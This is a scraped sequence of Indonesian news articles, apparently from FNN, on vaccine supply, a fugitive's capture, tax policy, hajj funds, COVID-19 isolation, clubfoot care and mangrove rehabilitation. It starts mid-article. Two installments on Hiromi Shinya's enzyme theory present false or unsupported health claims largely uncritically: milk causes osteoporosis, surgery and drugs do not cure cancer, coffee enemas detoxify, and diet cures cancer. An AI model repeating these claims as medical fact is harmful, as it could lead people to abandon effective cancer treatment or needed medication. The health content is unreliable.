vaksin yang masih tersedia di Kota Payakumbuh 9.000 dosis. Jika nantinya stok vaksin tinggal sedikit pihaknya akan langsung berkomunikasi dengan Pemprov Sumbar untuk mendapatkan tambahan pasokan vaksin. "Bagi masyarakat yang ingin divaksin, baik masyarakat Payakumbuh atau yang sehari-hari beraktivitas di Payakumbuh bisa langsung ke puskesmas terdekat," ujarnya. Kapolres Payakumbuh AKBP Alex Prawira meminta masyarakat selalu mencari tahu kebenaran informasi yang beredar terkait dengan vaksin COVID-19 ke pihak yang berkompeten sehingga tidak termakan dengan informasi bohong. "Hingga saat ini memang untuk di wilayah hukum Polres Payakumbuh sendiri belum ada yang diamankan terkait penyebaran informasi bohong ini. Tapi di Indonesia sudah ada, jangan sampai kita ikut dalam menyebarkan informasi bohong ini," kata dia. (mth)

Prof. Hiromi Shinya: Bahaya Minum Susu Formula (2)

Karena itu, Prof Hiromi Shinya tidak merekomendasikan daging sebagai makanan. Dia hanya menganjurkan makan daging itu cukup 15 persen dari seluruh makanan yang masuk ke perut. Dia mengambil contoh yang sangat menarik, meski di bagian ini, keilmiahannya kurang bisa dipertanggungjawabkan. Misalnya, dia minta kita menyadari berapakah jumlah gigi taring kita, yang tugasnya mengoyak-ngoyak makanan seperti daging: hanya 15 persen dari seluruh gigi kita. “Itu berarti bahwa alam hanya menyediakan infrastruktur untuk makan daging 15 persen dari seluruh makanan yang kita perlukan,” ungkap Dr. Shinya. Dia juga menyebut contoh harimau yang hanya makan daging. Larinya memang kencang, tapi hanya untuk menit-menit awal. Ketika diajak “lomba lari” oleh mangsanya, harimau akan cepat kehabisan tenaga. Berbeda dengan kuda yang tidak makan daging. Ketahanan larinya lebih hebat. Di samping pemilihan makanan, Prof Hiromi Shinya mempersoalkan cara makan. Makanan itu, katanya, harus dikunyah minimal 30 kali. Bahkan, untuk makanan yang agak keras harus sampai 70 kali. Bukan saja bisa lebih lembut, yang lebih penting agar di mulut makanan bisa bercampur dengan enzim secara sempurna. Demikian juga kebiasaan minum setelah makan bukanlah kebiasaan yang baik. Minum itu, tulisnya, sebaiknya setengah jam sebelum makan. Agar air sudah sempat diserap usus lebih dulu. Bagaimana kalau makanannya seret masuk tenggorokan? Nah, ini dia, ketahuan. Berarti mengunyahnya kurang dari 30 kali! Dia juga menganjurkan agar setelah makan sebaiknya jangan tidur sebelum empat atau lima jam kemudian. Tidur itu, tulisnya, harus dalam keadaan perut kosong. Kalau semua teorinya diterapkan, orang bukan saja lebih sehat, tapi juga panjang umur, awet muda, dan tidak akan gembrot. Yang paling mendasar dari teorinya adalah: setiap tubuh manusia sudah diberi “modal” oleh alam bernama enzim-induk dalam jumlah tertentu yang tersimpan di dalam “lumbung enzim-induk”. Enzim-induk ini setiap hari dikeluarkan dari “lumbung”-nya untuk diubah menjadi berbagai macam enzim sesuai keperluan hari itu. Semakin jelek kualitas makanan yang masuk ke perut, semakin boros menguras lumbung enzim-induk. Mati, menurut dia, adalah habisnya enzim di lumbung masing-masing. Maka untuk bisa berumur panjang, awet muda, tidak pernah sakit, dan langsing haruslah menghemat enzim-induk itu. Bahkan, kalau bisa ditambah dengan cara selalu makan makanan segar. Ada yang menarik dalam hal makanan segar ini. Semua makanan (mentah maupun yang sudah dimasak) yang sudah lama terkena udara akan mengalami oksidasi. Dia memberi contoh besi yang kalau lama dibiarkan di udara terbuka mengalami karatan. Bahan makanan pun demikian. Apalagi kalau makanan itu digoreng dengan minyak. Minyaknya sendiri sudah persoalan, apalagi kalau minyak itu sudah teroksidasi. Karena itu, kalau makan makanan yang digoreng saja sudah kurang baik, akan lebih parah kalau makanan itu sudah lama dibiarkan di udara terbuka. Minyak yang oksidasi, katanya, sangat bahaya bagi usus. Maksudnya, mengolah makanan seperti itu memerlukan enzim yang banyak. Apa saja makanan yang direkomendasikan? Sayur, biji-bijian, dan buah. Jangan terlalu banyak makan makanan yang berprotein. Protein yang melebihi keperluan tubuh ternyata tidak bisa disimpan. Protein itu harus dibuang. Membuangnya pun memerlukan kekuatan yang ujung-ujungnya juga berasal dari lumbung enzim. Untuk apa makan berlebih kalau untuk mengolah makanan itu harus menguras enzim dan untuk membuang kelebihannya juga harus menguras lumbung enzim. Prof Hiromi Shinya sendiri secara konsekuen menjalani prinsip hidup seperti itu dengan sungguh-sungguh. Hasilnya, umurnya sudah 70 tahun, tapi belum pernah sakit. Penampilannya seperti 15 tahun lebih muda. Tentu sesekali dia juga makan makanan yang di luar itu. Sebab, sesekali saja tidak apa-apa. Menurunnya kualitas usus terjadi karena makanan “jelek” itu masuk ke dalamnya secara terus-menerus atau terlalu sering. Terhadap pasiennya, Prof Hiromi Shinya juga menerapkan “pengobatan” seperti itu. Pasien-pasien penyakit usus, termasuk kanker usus, banyak dia selesaikan dengan “pengobatan” alamiah tersebut. Pasiennya yang sudah gawat dia minta mengikuti cara hidup sehat seperti itu dan hasilnya sangat memuaskan. Dokter, katanya, banyak melihat pasien hanya dari satu sisi di bidang sakitnya itu. Jarang dokter yang mau melihatnya melalui sistem tubuh secara keseluruhan. Dokter jantung hanya fokus ke jantung. Padahal, penyebab pokoknya bisa jadi justru di usus. Demikian juga dokter-dokter spesialis lain. “Pendidikan dokter spesialislah yang menghancurkan ilmu kedokteran yang sesungguhnya,” tulis Dr. Shinya. Yang menarik dari buku Prof Hiromi Shinya ini adalah: orang itu harus makan makanan yang enak. Dengan makan enak, hatinya senang. Kalau hatinya sudah senang dan pikirannya gembira, terjadilah mekanisme dalam tubuh yang bisa membuat enzim-induk bertambah. (mth)

Sahroni Dukung Kinerja Kejaksaan Terus Tangkap DPO

Jakarta, FNN - Wakil Ketua Komisi III DPR RI Ahmad Sahroni menegaskan bahwa Komisi III DPR mendukung langkah Kejaksaan Agung untuk terus menangkap pihak-pihak yang masuk Daftar Pencarian Orang (DPO) yang berada di dalam maupun di luar negeri. "Saya sebagai Pimpinan Komisi III DPR mendukung penuh Kejaksaan untuk menumpas dan menangkap para DPO dimanapun berada," kata Sahroni kepada Antara di Jakarta, Minggu. Hal itu dikatakannya terkait keberhasilan Kejaksaan menangkap buronan terpidana kasus pembalakan liar atas nama Adelin Lis yang ditangkap di Singapura. Sahroni mengapresiasi kinerja Kejaksaan yang berhasil menangkap Adelin yang telah menjadi buronan sejak 2008 dan namanya masuk dalam daftar "red notice" Interpol. Politisi Partai NasDem itu meyakini keseriusan kinerja Kejaksaan itu akan membuahkan hasil yaitu lambat laun semua DPO akan tertangkap dan dieksekusi untuk mempertanggungjawabkan tindakannya. "Saya mengapresiasi kinerja Kejaksaan (menangkap Adelin Lis) dan terus ganyang para DPO Kejaksaan dimanapun berada. Seriusnya Kejaksaan menunjukkan komitmen tinggi institusi tersebut untuk menangkap pelaku kejahatan lama," ujarnya. Sebelumnya, Jaksa Agung Burhanuddin mengatakan pemulangan terpidana kasus pembalakan liar Adelin Lis terwujud berkat kerja sama atau sinergitas antara Pemerintah Indonesia dan Pemerintahan Singapura. "Terlaksananya pemulangan terpidana ini berkat dukungan dari otoritas Pemerintah Singapura dan bekerja sama dengan Kedutaan Besar Indonesia di Singapura," kata Burhanuddin dalam konferensi pers pemulangan terpidana Adelin Lis di Kejaksaan Agung, Jakarta, Sabtu (19/6) malam. Sebagaimana diketahui buronan Adelin Lis ditangkap di Singapura pada 4 Maret 2021 karena pemalsuan paspor atas nama Hendro Leonardi. Persidangan Singapura menjatuhi hukuman kepada Adelin Lis berupa denda 14.000 dollar Singapura atau sekitar Rp140 juta dan dideportasi dari Singapura. Adelin Lis merupakan buronan kasus pembalakan liar, sejak 2008 namanya masuk dalam daftar 'red notice' Interpol. Untuk selanjutnya, Adelin Lis akan menjalani eksekusi atas putusan Mahkamah Agung yang menjatuhkan pidana penjara 10 tahun dan denda Rp1 miliar subsider enam bulan kurungan, dengan denda uang pengganti Rp119,8 miliar dan dana reboisasi 2,839 juta dollar AS. Sebelum dieksekusi Adelin Lis menjalani masa isolasi selama 14 dan ditahan di Rumah Tanahan Negara (Rutan) Salemba Cabang Kejaksaan Agung. (mth)

Prof. Hiromi Shinya: Bahaya Minum Susu Formula (1)

Dalam sebuah bukunya, Prof. Hiromi Shinya, yang juga sudah diterjemahkan dalam bahasa Indonesia, berjudul “The Miracle of Enzhym” atau “Keajaiban Enzim”, mengupas fakta-fakta: Mengapa kita sebaiknya: tidak minum susu sapi, membatasi minum teh hijau, makan buah dan minum jus 30-60 menit sebelum makan utama, minum 1-3 gelas air setelah bangun tidur pagi dan 2-3 gelas sejam sebelum makan, detoksifikasi menggunakan suntikan kopi, dan tidur siang 5 menit, setelah makan siang? Ternyata, melakukan hal-hal tersebut bahkan bisa menyembuhkan kanker, obesitas, fibroid, konstipasi, sulit tidur, penyakit jantung dan autoimun. Dr. Hiromi Shinya – perintis pembedahan kolonoskopis tanpa insisi perut (teknik Shinya) – yakin bahwa tubuh punya kemampuan menakjubkan menyembuhkan-sendiri. Kuncinya: Faktor Enzim. Dalam buku lengkap, praktis, dan menarik ini, Dr. Shinya menunjukkan bahwa: suplemen kalsium dan produk susu bisa menyebabkan osteoporosis; pembedahan dan obat-obatan tidak mengobati kanker; obat-obatan sering membuat Anda lebih sakit; demam justru bisa menyehatkan; dan rasa cinta dan gembira bisa meningkatkan daya tahan tubuh. Penemuan Dr. Shinya tentang “keajaiban“ tubuh akan merevolusi cara pandang kita terhadap tubuh manusia, nutrisi, pengobatan, dan kesehatan; hanya dengan memahami kuncinya: Enzim. Menurutnya, tidak ada makhluk di dunia ini yang ketika sudah dewasa masih minum susu kecuali manusia. Lihatlah sapi, kambing, kerbau, atau apa pun: begitu sudah tidak anak-anak lagi tidak akan minum susu. Mengapa manusia seperti menyalahi perilaku yang alami seperti itu? “Itu gara-gara pabrik susu yang terus mengiklankan produknya,” ujar Prof Dr Hiromi Shinya, penulis buku yang sangat laris: The Miracle of Enzyme (Keajaiban Enzim) yang sudah terbit dalam bahasa Indonesia dengan judul yang sama. Padahal, katanya, susu sapi adalah makanan/minuman paling buruk untuk manusia. Manusia seharusnya hanya minum susu manusia. Sebagaimana anak sapi yang juga hanya minum susu sapi. Mana ada anak sapi minum susu manusia, katanya. Mengapa susu paling jelek untuk manusia? Bahkan, katanya, bisa menjadi penyebab osteoporosis? Jawabnya: karena susu itu benda cair sehingga ketika masuk mulut langsung mengalir ke kerongkongan. Tidak sempat berinteraksi dengan enzim yang diproduksi mulut kita. Akibat tidak bercampur enzim, tugas usus semakin berat. Begitu sampai di usus, susu tersebut langsung menggumpal dan sulit sekali dicerna. Untuk bisa mencernanya, tubuh terpaksa mengeluarkan cadangan “enzim induk” yang seharusnya lebih baik dihemat. Menurutnya, enzim induk itu mestinya untuk pertumbuhan tubuh, termasuk pertumbuhan tulang. Namun, karena enzim induk terlalu banyak dipakai untuk membantu mencerna susu, peminum susu akan lebih mudah terkena osteoporosis. Profesor Hiromi Shinya tentu tidak hanya mencari sensasi. Dia ahli usus terkemuka di dunia. Dialah dokter pertama di dunia yang melakukan operasi polip dan tumor di usus tanpa harus membedah perut. Dia kini sudah berumur 70 tahun. Berarti dia sudah sangat berpengalaman menjalani praktik kedokteran. Dia sudah memeriksa keadaan usus bagian dalam lebih dari 300.000 manusia Amerika dan Jepang. Dr. Shinya memang orang Amerika kelahiran Jepang yang selama karirnya sebagai dokter terus mondar-mandir di antara dua negara itu. Setiap memeriksa usus pasiennya, Prof Hiromi Shinya sekalian melakukan penelitian. Yakni, untuk mengetahui kaitan wujud dalamnya usus dengan kebiasaan makan dan minum pasiennya. Dia menjadi hafal pasien yang ususnya berantakan pasti yang makan atau minumnya tidak bermutu. Dan, yang dia sebut tidak bermutu itu antara lain susu dan daging. Dia melihat alangkah mengerikannya bentuk usus orang yang biasa makan makanan/minuman yang “jelek” Seperti: benjol-benjol, luka-luka, bisul- bisul, bercak-bercak hitam, dan menyempit di sana-sini seperti diikat dengan karet gelang. Jelek di situ berarti tidak memenuhi syarat yang diinginkan usus. Sedangkan usus orang yang makanannya sehat/baik, digambarkannya sangat bagus, bintik-bintik rata, kemerahan, dan segar. Karena tugas usus adalah menyerap makanan, tugas itu tidak bisa dia lakukan kalau makanan yang masuk tidak memenuhi syarat si usus. Bukan saja ususnya kecapean, juga sari makanan yang diserap pun tidak banyak. Akibatnya, pertumbuhan sel-sel tubuh kurang baik, daya tahan tubuh sangat jelek, sel radikal bebas bermunculan, penyakit timbul, dan kulit cepat menua. Bahkan, makanan yang tidak berserat seperti daging, bisa menyisakan kotoran yang menempel di dinding usus: menjadi tinja stagnan yang kemudian membusuk dan menimbulkan penyakit lagi. (mth)

INDEF Paparkan Efek Domino PPN Sembako dan Pendidikan

Jakarta, FNN - Direktur Eksekutif Institute for Development of Economics and Finance (Indef) Tauhid Ahmad memaparkan efek domino yang ditimbulkan jika sembako dan sektor pendidikan dikenai Pajak Pertambahan Nilai (PPN). “Kalau sembako keterangan resminya akan naik 12 persen. Wah bayangkan kalau sembako naik sekitar 12 persen kira-kira apa yang akan terjadi? Besar enggak?” katanya kepada Antara di Jakarta, Jumat. Tauhid menyatakan jika bahan-bahan makanan pokok masyarakat atau sembako dikenai PPN maka harganya semakin mahal sehingga konsumen otomatis akan menurun. “Pastinya konsumen akan menjerit karena harga semakin mahal. Konsumen akan menyesuaikan terutama kelompok menengah ke bawah,” ujarnya. Ia mengatakan jika barang-barang yang dikonsumsi turun, maka penjualan juga akan menurun yang pada akhirnya mempengaruhi hulunya yakni industri dan pengusaha. Tauhid menjelaskan industri atau pelaku usaha akan mengurangi jumlah produksi, akibatnya jumlah tenaga kerja harus efisien baik pengurangan waktu jam kerja hingga upah. Ia melanjutkan secara umum dampak berantainya yakni pendapatan masyarakat akan berkurang. “Ketika PPN naik otomatis dampak besarnya pendapatan masyarakat turun, konsumsi turun, daya beli turun,” tegasnya. Tak hanya itu, ia mengatakan rencana pemberlakuan PPN terhadap sembako juga berpotensi menaikkan tingkat kemiskinan di Indonesia. Sementara untuk PPN pendidikan, Tauhid menegaskan rencana ini sangat merugikan sekolah-sekolah swasta, terutama di pedesaan. “Iya (terancam tutup) seperti sekolah-sekolah swasta di desa kan tidak bisa dikecualikan,” ujarnya. Secara keseluruhan Tauhid mengingatkan pemberlakuan PPN terhadap sembako dan sektor pendidikan akan menurunkan pertumbuhan ekonomi Indonesia. Oleh sebab itu ia menyarankan agar upaya reformasi perpajakan dapat lebih didorong melalui upaya lain seperti intensifikasi, meningkatkan kepatuhan, penegakan hukum, dan perluasan basis pajak baru. “Ini menurut saya yang harusnya menjadi pokok dan pemerintah bisa layani lebih baik ternyata enggak bisa,” tegasnya. Di sisi lain, Staf Khusus Menteri Keuangan Bidang Komunikasi Strategis Yustinus Prastowo menegaskan Rancangan Undang-Undang Ketentuan Umum dan Tata Cara Perpajakan (RUU KUP) masih perlu disiapkan dan didiskusikan. Yustinus menyatakan RUU KUP harus didiskusikan di masa pandemi COVID-19 sebagai upaya mempersiapkan Indonesia menyambut peluang setelah krisis kesehatan ini berakhir. “Rancangan ini perlu disiapkan dan didiskusikan di saat pandemi, justru karena kita bersiap. Bukan berarti akan serta merta diterapkan di saat pandemi. Ini poin penting: timing,” jelasnya dalam akun twitter resmi @prastow yang dikutip di Jakarta, Jumat. (mth)

La Nyalla Minta BPKH Lebih Transparan dalam Alokasi Dana Haji

Jakarta, FNN - Ketua DPD RI, AA LaNyalla Mahmud Mattalitti meminta Badan Pengelola Keuangan Haji (BPKH) untuk lebih transparan dalam mengalokasikan dana olahannya demi mengurangi polemik. LaNyalla menyampaikan hal tersebut menanggapi langkah BPKH mengalokasikan dana olahannya pada usaha mikro dan menengah, melalui program Unit Layanan Modal Mikro (ULaMM) Syariah, dan Pembinaan Ekonomi Keluarga Sejahtera (Mekaar) Syariah untuk membantu masyarakat. "Dana haji adalah dana milik umat. Sehingga transparansi sangat dibutuhkan. Hal ini juga harus dilakukan agar tidak memicu polemik," ujar LaNyalla dalam keterangan tertulis yang diterima di Jakarta, Jumat. Menurutnya, penggunaan dana haji yang diinvestasikan sangat penting untuk ditunjukkan kepada masyarakat, bukan hanya sebatas narasi keamanan investasi. "Oleh sebab itu, BPKH harus lebih transparan kepada masyarakat, agar masyarakat mengetahui uangnya ada di mana dan berapa hasil investasinya, serta berapa besar manfaatnya untuk umat dan manfaatnya untuk urusan haji sendiri. Masyarakat perlu penjelasan yang riil dan langsung," katanya. Selain itu, lanjut dia, investasi yang menyasar surat berharga syariah negara (SBSN), sukuk korporasi memiliki imbal hasil yang beragam. Untuk syariah, mencapai 4 persen lebih, dan surat berharga proyeksinya mencapai 7,5 persen hingga 8 persen. "Penjelasan detail seperti ini harus disampaikan agar tidak terjadi multipersepsi di masyarakat," katanya. Penggunaan dana haji untuk kredit mikro, telah disetujui anggota BPKH maupun dewan pengawas. Langkah ini merupakan komitmen BPKH agar penggunaan dana haji bisa dirasakan manfaatnya oleh masyarakat. "Tugas BPKH memang tidak mudah. Mereka bertanggungjawab dalam menutupi subsidi penyelenggaraan Ibadah Haji. Sehingga harus ada terobosan. Selama bisa dipertanggungjawabkan, transparan dan tidak berpolemik, kita akan mendukung langkah tersebut," kata LaNyalla. BPKH sendiri harus menyediakan sekitar Rp7 triliun dalam satu tahun untuk menutupi subsidi penyelenggaraan haji. Selain itu, BPKH juga harus membayar virtual account, yang tahun lalu dianggarkan Rp2 triliun untuk jemaah. Sebelumnya, Kepala BPKH Anggito Abimanyu memastikan dana milik para jamaah haji yang tertunda keberangkatannya aman. Anggito juga memastikan bahwa dalam pengelolaan dana haji tidak ada investasi yang rugi. Selain itu, alokasi investasi dana haji juga tidak ditempatkan pada sektor infrastruktur. "Tidak ada alokasi investasi di infrastruktur, tentu banyak yang menginterpretasikan bahwa ini akan menimbulkan risiko tinggi bagi dana haji," ucapnya. Anggito juga mengatakan bahwa laporan keuangan BPKH diaudit secara rutin oleh Badan Pemeriksa Keuangan (BPK). (mth)

Satgas Hentikan Evakuasi Warga Kudus Terpapar COVID-19 ke Donohudan

Kudus, FNN - Tim Satgas Percepatan Penanganan COVID-19 Kabupaten Kudus, Jawa Tengah, untuk sementara menghentikan evakuasi warga yang terpapar virus corona ke Asrama Haji Donohudan Boyolali karena tempatnya hampir penuh. "Informasi yang kami peroleh, di asrama haji hanya tersisa 150 tempat tidur. Rencananya yang masih tersisa dicadangkan untuk warga Solo Raya yang terpapar COVID-19 untuk menjalani isolasi terpusat," kata Pelaksana harian Kepala Dinas Kesehatan Kabupaten Kudus Masut di Kudus, Jumat. Dengan demikian, kata dia, sejak Jum’at (11/6) tidak ada evakuasi warga terpapar COVID-19 ke Asrama Haji Donohudan, Boyolali. Terkait dengan sejumlah keluhan warga Kudus yang menjalani isolasi di Donohudan, kata dia, sudah diterima dan menjadi bahan koreksi Tim Satgas COVID-19. Terkait kondisi Donohudan juga sudah dikomunikasikan dengan pihak penanggungjawabnya. Di antaranya, terkait keluhan soal ketersediaan obat-obatan, air mineral hingga tim medis yang sebelumnya disebutkan siaga 24 jam. Hari ini (11/6) dijadwalkan ada pemulangan warga Kudus yang hasil tes usap tenggorokan (swab) PCR-nya dinyatakan negatif COVID-19. Tim Satgas COVID-19 Kudus sendiri sudah menyiagakan empat bus untuk penjemputan warga yang hasil swab PCR-nya dinyatakan negatif corona. Berdasarkan data Tim Satgas COVID-19 Kudus per tanggal 10 Juni 2021, jumlah warga Kudus yang menjalani isolasi terpusat di Donohudan sebanyak 529 orang dan 11 orang dirujuk ke rumah sakit. (mth)

RSUD Mataram Mulai Buka Pelayanan Vaksinasi Publik

Mataram, FNN - Rumah Sakit Umum Daerah (RSUD) Kota Mataram, Nusa Tenggara Barat, mulai membuka pelayanan vaksinasi COVID-19 untuk publik usia di atas 18 tahun hingga di bawah 60 tahun. Kapala Bidang Pelayanan Medis RSUD Kota Mataram Dr Emirald Isfihan di Mataram, Jumat, mengatakan layanan vaksinasi publik sudah dimulai sejak Rabu (9/6-2021), tapi dilakukan secara terbatas. "Artinya, masyarakat usia di atas 18 tahun hingga di bawah 60 tahun yang ingin mendapatkan vaksin COVID-19, harus mendaftar dulu. Kita registrasi publik yang mau vaksin dan kalau ada jatah maka akan dihubungi," katanya. Ia mengatakan registrasi dilakukan karena pemberian vaksin untuk publik diambilkan dari kuota vaksin lanjut usia (lansia) dan guru sebab secara resmi dari pemerintah pusat belum memberikan kebijakan untuk vaksinasi publik. "Tapi program ini untuk kita fasilitasi publik yang ingin divaksin, sebab satu vial vaksin COVID-19 dapat digunakan untuk 10 orang. Kalau sehari lansia yang datang kurang dari 10 dan terjadi sisa vaksin, maka kelebihan itulah yang kita manfaatin untuk publik," katanya. Sejak pembukaan vaksinasi untuk publik dimulai, sudah ada tujuh orang yang mendaftar, dan empat orang di antaranya sudah mendapatkan vaksin COVID-19. "Dengan demikian, kelebihan vaksin untuk lansia dan guru tidak terbuang sia-sia sebab jika satu vial sudah dibuka kemudian tersisa maka sisanya itu tidak bisa disimpan," katanya. Hal senada juga disampaikan Kepala Dinas Kesehatan (Dinkes) Kota Mataram dr H Usman Hadi, yang mengatakan bahwa kebijakan tersebut diambil sesuai dengan arahan dari Dinkes Provinsi Nusa Tenggara Barat. Karenanya, pelayanan vaksinasi COVID-19 yang sejak April 2021 diprioritaskan untuk lansia dan guru, kini bisa diberikan ke publik sesuai ketentuan. Dikatakan, sejak awal April 2021 pelayanan vaksinasi COVID-19 untuk publik dihentikan sementara. Tapi setelah dievaluasi, peluang vaksinasi publik bisa dilakukan secara terbatas sesuai dengan stok vaksin yang digunakan lansia. "Misalnya, kalau sehari ada enam lansia yang divaksin di sebuah faskes, maka empat publik bisa divaksin agar satu vial vaksin untuk 10 orang termanfaatkan. Sisa vaksin tidak bisa disimpan, karena itu dari pada dibuang sia-sia lebih baik dimanfaarkan untuk publik," katanya. Berdasarkan data dari Dinkes Provinsi NTB menyebutkan, cakupan vaksin COVID-19 untuk lansia di Mataram tanggal 8 Mei 2021, tercatat 95,9 persen atau 12.712 orang dari target 13.366 lansia. Sedangkan untuk vaksinasi guru mencapai 72 persen atau 6.036 orang. (mth)

Lombok Care: Ratusan Anak di Lombok Terlahir Kaki Pengkor

Mataram, FNN - Yayasan Lombok Care menyebutkan terdapat ratusan anak di Pulau Lombok terlahir dengan kaki pengkor atau "clubfoot" dengan rata-rata usia mereka dari 0 sampai 10 tahun. "Menurut informasi dan data, ada ratusan anak yang terlahir dengan kondisi clubfoot," kata pengelola yayasan yang bergerak pada penyandang disabilitas itu, Apip melalui siaran persnya, Jumat. Ia menyebutkan anak-anak yang terlahir dengan kaki pengkor sebenarnya dapat ditangani sedini mungkin agar perkembangan kaki mereka dapat normal seperti pada umumnya. Namun, kata dia, karena minimnya informasi, kurangnya sumberdaya, langkanya alat bantu yang dibutuhkan juga mahalnya biaya pengobatan, akhirnya banyak anak-anak yang tidak tertangani dan akhirnya menjadi disabilitas permanen. Di awal tahun 2021 Yayasan LombokCare bersama Yayasan Stepping Stones Bali (NGO yang konsen menangani clubfoot) melakukan komunikasi untuk dapat bekerja sama dalam membantu anak-anak dan keluarganya agar terbebas dari clubfoot/kaki pengkor, katanya. Stepping Stones sudah membantu puluhan anak dari NTB dengan kaki pengkor dalam dua tahun terakhir ini. Karena pandemi, akhirnya anak-anak yang sedang dalam penanganan terhambat dalam melakukan penanganan dikarenakan banyaknya aturan-aturan baru yang membatasi semua kegiatan termasuk dalam hal perjalanan antar daerah/provinsi. Untuk itu agar penanganan dapat terus berlanjut dan terutama untuk membantu anak-anak dengan kaki pengkor sedini mungkin di wilayah Lombok khususnya dan NTB pada umumnya. "Kami melakukan MoU untuk melaksanakan program ini bersama dengan melibatkan dokter ortopedi dari Lombok," katanya. Program kaki pengkor atau Clubfoot Clinic resmi dilaksanakan per 8 April 2021 di Yayasan LombokCare setelah dua bulan Tim Fisioterapis dan Peksos LombokCare mendapatkan pelatihan-pelatihan khusus. Adapun proses penanganan yang kami lakukan memiliki beberapa tahapan, diantaranya tahapan; deteksi (assesmen, pengukuran kondisi kaki atau pirani score), pemakaian gips (setiap minggunya maksimal sampai delapan kali), pendampingan operasi tenotomi, pemasangan gips pasca operasi, dan pemakaian brace atau sepatu khusus selama empat tahun. Hingga kini sudah delapan minggu Clubfoot Clinic diadakan dengan total 15 anak dengan rentang usia satu bulan-tujuh tahun terdaftar sebagai penerima manfaat. Mereka berasal dari berbagai wilayah di NTB seperti Mataram, Lombok Barat, Lombok Utara, Lombok Tengah, Bima, dan Dompu. Ke depannya untuk menyukseskan program ini, tentunya perlu melibatkan banyak pihak seperti kader-kader dan bidan desa untuk deteksi dini, dokter ortopedi, dinas dan instansi terkait, perangkat desa dan dusun, organisasi atau lembaga lain, dan masyarakat luas. Selain itu Yayasan LombokCare bersama Stepping Stones juga akan mengembangkan kerjasama dengan NGO Internasional dan Rumah Sakit agar penanganan semakin baik. Kami berharap agar program ini dapat terus berlanjut dan mendapat dukungan berupa materi ataupun non materi dari berbagai pihak terutama pemerintah, lembaga, instansi, perusahaan, masyarakat dan orang-orang baik yang peduli, agar dapat membantu anak-anak dengan kaki pengkor khususnya di NTB agar tidak terjadi disabilitas permanen dan agar mendapatkan pelayanan secara GRATIS terutama bagi keluarga yang kurang mampu, paparnya. (mth)

Kenaikan Kasus COVID-19 di DKI Dipicu Arus Mudik Lebaran

Jakarta, FNN - Wakil Gubernur DKI Jakarta Ahmad Riza Patria menyebutkan kenaikan kasus penyebaran COVID-19 di ibu kota dalam beberapa hari terakhir dipicu arus mudik dan arus balik saat Lebaran. "Kenaikan kasus COVID-19 ini ada beberapa penyebab di antaranya ada mudik Lebaran," kata Riza di Jakarta, Jumat. Riza mengungkapkan faktor penyebab lainnya yang menimbulkan kenaikan kasus COVID-19 terdampak dari interaksi dan aktivitas masyarakat yang tinggi di dalam dan luar kota maupun warga luar negeri masuk ke Indonesia. "Karena sudah dibuka, yang datang dari luar negeri beberapa minggu terakhir ini," tutur Riza. Penyebab lainnya, kata Wagub DKI Jakarta, yaitu sebagian masyarakat abai dan kurang taat terhadap protokol kesehatan. Riza mengingatkan perjuangan melawan pandemi COVID-19 belum berakhir sehingga seluruh elemen masyarakat dan lembaga pemerintah hingga lingkungan Rukun Tetangga tidak lengah memerangi virus asal Wuhan, China, itu. Riza menegaskan, pihaknya tidak akan segan menindak pengelola pasar, pusat perbelanjaan, tempat usaha, pabrik atau masyarakat yang melanggar protokol kesehatan karena berpotensi meningkatkan kasus COVID-19. Riza pun mengingatkan warga agar disiplin menjalankan protokol kesehatan karena tingkat keterisian rumah sakit telah mencapai 65 persen akibat perawatan pasien COVID-19. Satgas COVID-19 DKI Jakarta mencatat jumlah kasus COVID-19 hingga Rabu (9/6) mencapai 438.458 kasus, kemudian bertambah 2.096 kasus menjadi 440.554 pada Kamis (10/6). (mth)

Gubernur Tinjau Rehabilitasi Bakau di Belitung

Belitung, FNN - Gubernur Kepulauan Bangka Belitung Erzaldi Rosman Djohan meninjau rehabilitasi hutan bakau di Pulau Belitung untuk memastikan dana program rehabilitasi mangrove senilai Rp10 miliar tepat sasaran. "Program ini tidak hanya kegiatan merestorasi alam saja, tetapi juga harus memberikan manfaat ekonomi bagi masyarakat," kata Erzaldi Rosman Djohan saat memeriksa sekaligus melakukan penanaman perdana percepatan rehabilitasi mangrove se-Kabupaten Belitung di Dusun Iler Belitung, Minggu. Ia mengatakan dana Rp10 miliar yang telah dicairkan oleh Pemerintah Pusat merupakan hasil kerja sama antara Pemerintah Provinsi Kepulauan Bangka Belitung dengan Badan Restorasi Gambut dan Mangrove (BRGM) dan Balai Pengelolaan Daerah Aliran Sungai dan Hutan Lindung (BPDASHL) Baturusa Cerucuk, untuk memberikan dampak yang baik bagi masyarakat dan alam sekitar melalui program rehabilitasi mangrove. "Kunjungan saya kali ini, untuk memastikan program ini berjalan sebagaimana mestinya, sekaligus mendorong percepatan rehabilitasi mangrove se-Kabupaten Belitung ini," katanya. Ia berharap para ketua kelompok mampu membimbing anggotanya, dengan terlebih dahulu menciptakan rencana dan strategi, agar mendapatkan hasil yang maksimal dan terukur serta membawa manfaat dalam jangka panjang. “Dulu ketika jaga hutan, kita tidak mendapatkan hasil. Sekarang, tidak ada tawaran, kita harus menjaga hutan sekaligus mendapat hasil dari hutan yang kita kelola. Program ini jangan berhenti satu tahun saja. Tapi harus terus ditindaklanjuti, sehingga memberikan manfaat bagi alam dan ekonomi masyarakat dalam jangka panjang,” katanya. Kepala Balai Pengelola Daerah Aliran Sungai (BPDAS) Batu Rusa Cerucuk Tekstianto mengatakan dana rehabilitasi mangrove ini bersumber dari Badan Restorasi Gambut dan Mangrove dan pihaknya telah melakukan kerja sama dengan pemerintah, Kelompok Pecinta Alam (KPA), dan masyarakat sekitar untuk menyukseskan program ini. “Yang kami harapkan bukan hanya menanam saja. Tapi juga pengembangannya, agar dapat memberikan keuntungan bagi masyarakat dalam jangka panjang,” ungkapnya Pada kesempatan itu, Gubernur Kepulauan Babel berdialog dengan masyarakat, untuk mengetahui inovasi yang akan dikembangkan pada lahan mangrove tersebut. Ketika diberikan kesempatan untuk memberikan ide inovatifnya, warga silih berganti menyampaikan pendapat, di antaranya Ketua Kelompok Tani Hutan Ulim Besame, Mardiansah, Ketua Kelompok Sadar Wisata Rusa Putih Susilo, Ketua Kelompok Tani Hutan Sungai Berang Sunardi, Ketua Kelompok Usaha Perhutanan Sosial Kematang Herman dan Ketua Kelompok Swadaya Masyarakat Suak Parak Herman. Sebagian besar kelompok mengajukan inovasi dalam bentuk pengembangan pariwisata dan budi daya kepiting bakau untuk meningkatkan ekonomi dan kesejahteraan masyarakat di negeri laskar pelangi itu. (mth)

KAI Luncurkan Kereta Api Baru KA Baturraden Ekspres & KA Nusa Tembini

